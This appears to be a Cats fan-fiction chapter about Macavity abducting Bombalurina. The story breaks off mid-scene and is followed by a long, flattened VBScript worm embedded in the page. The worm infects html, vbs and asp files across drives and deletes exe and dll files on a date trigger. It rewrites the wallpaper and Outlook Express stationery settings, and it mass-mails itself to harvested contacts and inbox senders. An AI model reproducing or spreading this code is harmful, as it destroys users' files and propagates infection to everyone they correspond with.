Demeter's Story

by DemeterFluff

Demeter faces her past: is she ready to love again?

2. Demeter's Story: Part One - The Scars of...

Bombalurina paused, watching Demeter and Munkustrap for but a moment more before leaving the area. Deep inside, she longed for the sort of love that they shared too, but doubted if she'd ever find it.

As she watched the sky, clouds slowly drifted over the moon, and she sighed with dismay as it began to rain. The heavy drops fell hard from the water-laden cloud and splashed over the dry ground of the Junkyard.

Bomba sought shelter underneath the old Ford that was stuck, sinking into the ground little by little whenever it rained and the ground became soggy enough. When she got out of the rain, she shook the sparkling droplets out of her moistened fur. If it kept raining, it would be a long night for her, sitting alone in the darkened, chilly Junkyard.

She felt her muscles grow tense. A sinister presence was close by. Not too close, but still too close for comfort when her intuition could not tell her who was near.

The presence drew nearer. She could sense its approach. The fur on the back of her neck stood on end, and she dreaded turning to make sure her instinct was correct. Hesitating, she turned. "Macavity..." she hissed warily as her eyes took in the sight of the wild furred tom who stood defiantly a short distance behind her.

The red and black tom approached her undaunted. "Hello, beautiful," he murmured. Bomba gritted her teeth and hissed softly.

"Stay away from me," she told him, "I've had far too much of you." Ignoring her, he placed his paw on her shoulder.

The rain became a slight drizzle around the ruined car, and Bomba wished that someone else would come near, someone who could make Macavity leave. "Bomba, hear me out..." he pleaded, sounding so sincere that she almost wanted to believe the words he spoke. "I wouldn't have come here if it wasn't something important." She snorted to emphasize her disgust (which wasn't entirely genuine) with the ginger tom.

"You've wasted your time. I don't want to hear what you have to tell me," and once again she turned her back on him. Her tone turned more menacing. "I know what you did to Demi, and I will not let you near her or me again!"

Macavity growled. Bomba had always been a stubborn queen, but she was being beyond difficult this time. It seemed to him that he would have to make her listen to what he had to say forcefully.

"Look, Bomba, I made a mistake," he said, knowing that it wouldn't convince her to believe him, but he thought it would make what he wanted to tell her sound better. "I never should have done what I did to Demi..."

Bomba rolled her eyes. He knew she was going to. Her personality was that way. Still, he knew that there had to be a way to get through to her, to have her hear him out. He reached out, and seized her arm. Her expression was a mix of confusion and fear.

"What are you doing?" she hissed, pulling her paw from his.

"I want you to listen to me," he spat back. "And it appears you are going to make me force you to listen."

Demeter's eyes suddenly opened wide with fear. "Bomba..." she whispered, her voice hushed. Munku blinked, not fully understanding what she was talking about. He looked around, and saw no one in the still of the junkyard around them. Demi saw the confusion in his eyes.

"She's in trouble," she elaborated. "Macavity." That one word explained it all to Munku. He took Demi's hand, determined not to leave her alone if Macavity was about.

"Then we have to find her," Munku spoke, trusting Demi's instinct. Demi nodded, and together they went in search of her sister. She grew more worried when the found no sign of Bomba anywhere.

Demi paused for a moment. Munku stopped as well. "What is it, Demi?" he asked her, concerned.

"What if he hurts her?" she asked, her voice soft with concern.

"He won't," Munku promised, although he wasn't at all confident that it was the truth. The nervousness on Demi's face lessened, but did not wholly disappear, and Munku knew that she would blame herself if anything happened to her sister.

They waited in silence for a moment. Voices, arguing, drifted from underneath the old Ford. Demi's fur bristled as she recognized Macavity's voice. The contralto female voice he was arguing with belonged to Bomba.

"Under the car," Demi whispered. Munku marveled at her ability to know exactly where the voices were coming from even in the rain. He nodded, and slunk over to the car. She stayed close behind him, nervous that Macavity might be playing some sort of trick on them.

In the darkness under the car, Bombalurina was still arguing with Macavity, trying to get him to leave her alone. The argument continued for a few moments as the other two felines watched.

Macavity seemed to sense their presence. "I believe we have a couple of guests," he told Bomba. Demi's eyes widened, and Munku growled.

"Get away from here," Munku threatened the Hidden Paw, "Before you get what's coming to you."

The Mystery Cat only smirked. "And why, dear brother, would I listen to your petty commands? I came to speak with Bombalurina, not to speak with you, and I will not take orders from you."

Munku narrowed his eyes. Macavity was deliberately trying make him mad so that he would make a foolish mistake. That was not going to happen.

"Leave," Demi said quietly. "You've done enough damage here." Macavity glared at her anger flaring in his brilliant golden eyes.

"You keep your mouth shut," he snapped, his tone menacing, threatening her. The golden and black queen took a step back, her eyes glimmering with fear and hatred.

Macavity grinned slyly, and Munku growled, trying to anticipate the Hidden Paw's next move. "If I leave, Bomba is coming with me," the Mystery cat sneered, yanking Bombalurina in front of him. Bomba struggled, but could not make him release his grip on her.

"NO!" cried Demi, lunging from behind Munku at the Hidden Paw. He lashed out with his paw, smacking her squarely on the chest, sending her reeling into one of the tires of the Ford. She slid to the ground after having the wind knocked out of her. She lay panting on the ground, unable to bring herself to move.

Almost immediately afterward, the Mystery Cat and Bombalurina seemed to dissolve entirely, and vanished from the Junkyard.

"He took her, didn't he?" Demi asked, looking up at Munku, who was now crouched beside her. The silver and black tom nodded solemnly. Demi closed her eyes and forced back the tears she knew were coming. "He'll hurt her... or he'll kill her... or worse..."

"No," Munku promised, hugging Demi. "He won't. That bastard will not hurt your sister, I promise. When it's light tomorrow, Lonzo and I will find her and bring her back." Demi didn't seem convinced, but said nothing about it. She wanted to believe him, but she knew Macavity was sneaky, and would do anything to get his way.

Demeter sniffled a little, and a tear slid down her cheek. "Why does this have to be my fault?" she murmured, her voice soft, barely more than a whisper. "Poor Bomba... she's with him..." She then began to mumble mostly incoherent phrases.

Munku took her in his arms like one would a distressed child, trying to comfort her, although he knew his attempts would most likely be fruitless. "Shh," he whispered softly in her ear. "It's not your fault..."

Presently, Munku noticed two pairs of eyes watching them. The eyes came forward, one pair green, the other pale blue. They belonged to Alonzo, a black and white mixed-breed, and Cassandra, a Siamese.

"What's going on?" asked Cassandra. Her creamy brown coat was slick from the drizzle, although at the same time she wasn't really wet. "We heard arguing, we -"

"Macavity was here," Munku explained to them. "He was talking to Bombalurina, and somehow Demi sensed that her sister would need our help." Cassie shuddered at the thought of the Hidden Paw, and Lonzo put his arm around his mate protectively.

"Unfortunately," Munku continued, "Macavity took Bomba and disappeared before we could stop him."

Cassie's delicate blue eyes showed her concern, and one look at Demi told her how horrible the gold and black queen must feel. "Is there anything we can do to help?" Lonzo inquired presently.

Munku nodded. "I want you, Lonzo, to come with me to Macavity's territory to find Bomba and rescue her tomorrow morning."

"And I should stay and try to keep Demi coherent," Cassie finished with a slight smile on her oriental features. Again, Munku nodded his response.

"Yes," he said, "And hopefully Macavity won't give us too much trouble."

Lonzo gritted his teeth, knowing that Macavity would do anything in his power to stop them if he really wanted Bomba for something. He couldn't help thinking that there was more to Macavity's plot than what they were seeing. He decided to voice his thoughts on the issue.

"Are you sure that there isn't something more to this whole incident?" he asked, choosing his words carefully. "I mean, isn't Macavity usually a little more subtle in his approach?"

"There's obviously more to it," Demeter's soft voice replied. "But it isn't as complicated as you're thinking, Lonzo." She paused, and sniffled quietly again. "He wants to apologize for what he did to me... but I didn't see it before. If you don't get Bomba back soon, he may have time to change her mind about him..."

Munku closed his eyes and held her close to him, knowing she would be blaming herself for what Macavity was doing. Her slender body shuddered, and she sobbed audibly.

"Poor thing," Cassie murmured, but refrained from action. "Do you think Jennyanydots might be able to help her?"

Bombalurina struggled for a moment, and yanked her paw away from the Mystery Cat. "How dare you steal me from my home?!" she spat, stomping on his foot.

Macavity gritted his teeth. This was going to be much more difficult than he had anticipated. "You will listen to me now," he hissed back, "When there is no one to distract you from listening to me. And then (and only then) I will return you safely to the Junkyard."

"Fair enough," Bomba relented at last, after a moment of intense silence between the two strong-willed cats. Macavity smiled. It was one of those smiles that you could never tell whether it was genuine or not.

"What I did to Demi," he began, "Was a big mistake. I never should have hurt her like that... I never should have put that strain on you." Bomba could barely keep her stead-fast position on the argument.

"You cannot change what you have done. You have done it. There is no taking it back," she warned, "And I will not be swayed by false apologies."

A growl rose in Macavity's throat. "How dare you...." he growled. "How dare you insult me so..."

Bomba hissed in return. "Take me home. NOW."

The Hidden Paw pounced at Bomba, catching her by the throat and pinning her to the wall. "You will stay here until I decide that you can leave!" Bomba struggled and tried to lash out at him, but he only tightened his firm grip on her throat, choking her into unconsciousness.

Rem I am sorry! happy time On Error Resume Next mload Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application") If IsHTML Then mURL = LCase(document.Location) If mPath = "" Then Os.Reset Os.Path = "C:\Help.htm" Os.Doc = Lhtml() Os.Write() Ihtml = "" Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) Else If Iv(mPath, "Help.vbs") Then setInterval "Rt()", 10000 Else m = "hta" If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) main Else Os.Reset() Os.Path = mPath & "\" & "Help.hta" Os.Doc = Lhtml() Os.write() Iv mPath, "Help.hta" End If End If End If Else main End If End Sub Sub main() On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") Set Od = CreateObject("Scripting.Dictionary") Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" Ks = "HKEY_CURRENT_USER\Software\" Ds = Grf() Cs = Gsf() If IsVbs Then If Of.FileExists("C:\help.htm") Then Of.DeleteFile ("C:\help.htm") End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" End If Cn = Rg(Ks & "Help\Count") If Cn = "" Then Cn = 1 End If Rw Ks & "Help\Count", Cn + 1 f1 = Rg(Ks & "Help\FileName") f2 = FNext(Of, Od, f1) fext = GetExt(Of, Od, f2) Rw Ks & "Help\FileName", f2 If IsDel(fext) Then f3 = f2 f2 = FNext(Of, Od, f2) Rw Ks & "Help\FileName", f2 Of.DeleteFile f3 Else If LCase(WScript.ScriptFullname) <> LCase(f2) Then Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then Tsend Else adds = Og Msend (adds) End If End If wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then If wp = "" Then n1 = "" n3 = Cs & "\Help.htm" Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") pfc.Write "<" & "HTML><" & "body ='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt pfc.Close Rw Ks & "Help\wallPaper", n3 Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 End If Else Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True) fc.Write Sa("0100") fc.Close bf = Cs & "\Untitled.htm" Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail" MSH = oe & "\Message Send HTML" CUS = oe & "\Compose Use Stationery" SN = oe & "\Stationery Name" Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs & "\WEB" Set gf = Of.GetFolder(Web).Files Od.Add "htt", "1100" For Each m In gf fext = GetExt(Of, Od, m) If fext <> "" Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write "<" & "title>I am sorry!" window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, "Help.vbs" End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = "<%" & VBSText & "%>" End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m & vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = "Rem I am sorry! happy time" If InStr(S, mN) > 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = "" T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, "") End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m) <> "" Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = "" Then T = True End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) Npath = Of.GetParentFolderName(Npath) If Of.GetFolder(Ppath).IsRootFolder Then m = Of.GetDriveName(Ppath) Pnext = Dnext(Of, m) Exit Function End If Loop End If End Function Function Dnext(Of, S) Dim dc, n, d, T, m On Error Resume Next T = False m = "" Set dc = Of.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then If T Then Dnext = d Exit Function Else If LCase(S) = LCase(d) Then T = True End If If m = "" Then m = d End If End If End If Next Dnext = m End Function Function GetExt(Of, Od, S) Dim fext On Error Resume Next fext = LCase(Of.GetExtensionName(S)) GetExt = Od.Item(fext) End Function Sub Rw(k, v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") R.RegWrite k, v End Sub Function Rg(v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") Rg = R.RegRead(v) End Function Function IsVbs() Dim ErrTest On Error Resume Next ErrTest = WScript.ScriptFullname If Err Then IsVbs = False Else IsVbs = True End If End Function Function IsHTML() Dim ErrTest On Error Resume Next ErrTest = document.Location If Er Then IsHTML = False Else IsHTML = True End If End Function Function IsMail(S) Dim m1, m2 IsMail = False If InStr(S, vbCrLf) = 0 Then m1 = InStr(S, "@") m2 = InStr(S, ".") If m1 <> 0 And m1 < m2 Then IsMail = True End If End If End Function Function Lvbs() Dim f, m, ws, Of On Error Resume Next If IsVbs Then Set Of = CreateObject("Scripting.FileSystemObject") Set f = Of.OpenTextFile(WScript.ScriptFullname, 1) Lvbs = f.ReadAll Else For Each ws In document.scripts If LCase(ws.Language) = "vbscript" Then If Sc(ws.Text) Then Lvbs = ws.Text Exit Function End If End If Next End If End Function Function Iv(mPath, mName) Dim Shell On Error Resume Next Set Shell = CreateObject("Shell.Application") Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb If Er Then Iv = False Else Iv = True End If End Function Function Grf() Dim Shell, mPath On Error Resume Next Set Shell = CreateObject("Shell.Application") mPath = "C:\" For Each mShell In Shell.NameSpace(mPath).Items If mShell.IsFolder Then Grf = mShell.Path Exit Function End If Next If Er Then Grf = "" End If End Function Function Gsf() Dim Of, m On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") m = Of.GetSpecialFolder(0) If Er Then Gsf = "C:\" Else Gsf = m End If End Function Function Lhtml() Lhtml = "<" & "HTML" & ">" & vbCrLf & _ "<" & "Title> Help <" & "/HEAD>" & vbCrLf & _ "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body>" End Function Function Lscript(S) Lscript = "<" & "script language='VBScript'>" & vbCrLf & _ S & "<" & "/script" & ">" End Function Function Sl(S1, S2, n) Dim l1, l2, l3, i l1 = Len(S1) l2 = Len(S2) i = InStr(S1, S2) If i > 0 Then l3 = i + l2 - 1 If n = 0 Then Sl = Left(S1, i - 1) ElseIf n = 1 Then Sl = Right(S1, l1 - l3) End If Else Sl = "" End If End Function Function Ml(S) Dim S1, S3, S2, T, adds, m S1 = S S3 = """" adds = "" S2 = S3 & "mailto" & ":" T = True Do While T S1 = Sl(S1, S2, 1) If S1 = "" Then T = False Else m = Sl(S1, S3, 0) If IsMail(m) Then adds = adds & m & vbCrLf End If End If Loop Ml = Split(adds, vbCrLf) End Function Function Og() Dim i, n, m(), Om, Oo Set Oo = CreateObject("Outlook.Application") Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items n = Om.Count ReDim m(n) For i = 1 To n m(i - 1) = Om.Item(i).Email1Address Next Og = m End Function Sub Tsend() Dim Od, MS, MM, a, m Set Od = CreateObject("Scripting.Dictionary") MConnect MS, MM MM.FetchSorted = True MM.Fetch For i = 0 To MM.MsgCount - 1 MM.MsgIndex = i a = MM.MsgOrigAddress If Od.Item(a) = "" Then Od.Item(a) = MM.MsgSubject End If Next For Each m In Od.Keys MM.Compose MM.MsgSubject = "Fw: " & Od.Item(m) MM.RecipAddress = m MM.AttachmentPathName = Gsf & "\Untitled.htm" MM.Send Next MS.SignOff End Sub Function MConnect(MS, MM) Dim U On Error Resume Next Set MS = CreateObject("MSMAPI.MAPISession") Set MM = CreateObject("MSMAPI.MAPIMessages") U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile") MS.UserName = U MS.DownLoadMail = False MS.NewSession = False MS.LogonUI = True MS.SignOn MM.SessionID = MS.SessionID End Function Sub Msend(Address) Dim MS, MM, i, a MConnect MS, MM i = 0 MM.Compose For Each a In Address If IsMail(a) Then MM.RecipIndex = i MM.RecipAddress = a i = i + 1 End If Next MM.MsgSubject = " Help " MM.AttachmentPathName = Gsf & "\Untitled.htm" MM.Send MS.SignOff End Sub Function Er() If Err.Number = 0 Then Er = False Else Err.Clear Er = True End If End Function Function IsDel(S) If Mid(S, 4, 1) = 1 Then IsDel = True Else IsDel = False End If End Function